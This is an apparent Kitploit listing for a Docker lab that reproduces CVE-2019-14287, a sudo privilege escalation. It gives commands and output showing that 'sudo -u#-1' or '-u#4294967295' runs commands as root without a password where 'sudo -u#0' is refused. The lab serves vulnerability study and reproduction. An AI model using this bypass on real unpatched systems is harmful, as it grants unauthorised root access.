poc-cve-2019-14287 — Docker-based PoC demonstrating CVE-2019-14287 sudo privilege escalation via Runas user restriction bypass, with step-by-step reproduction instructions. | Kitploit

PoC of CVE-2019-14287

Overview

This is a sample that reproduces the sudo vulnerability (CVE-2019-14287) on a Docker container.

Exercise Steps

Start the container with docker compose up -d
Enter the container with docker exec -it vulnerable_sudo_app bash
Execute whoami and id commands to confirm you are a regular user (not root)
```
$ whoami
user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
$ id -u
1000
```
Verify that sudo -u#0 whoami and sudo -u#0 id -u cannot be executed
- Specify uid (-u option) as 0 (root)
- You are prompted for a password, but since you do not know it, execution fails
```
$ sudo -u#0 whoami
[sudo] password for user1:
$ sudo -u#0 id
[sudo] password for user1:
$ sudo -u#0 id -u
[sudo] password for user1:
```
Execute sudo -u#-1 whoami and sudo -u#-1 id -u to confirm that commands can be executed as root without authentication (reproducing the vulnerability)
- The same can be done with -u#4294967295
```
$ sudo -u#-1 whoami
root
$ sudo -u#-1 id
uid=0(root) gid=1000(user1) groups=1000(user1)
$ sudo -u#-1 id -u
0
```

References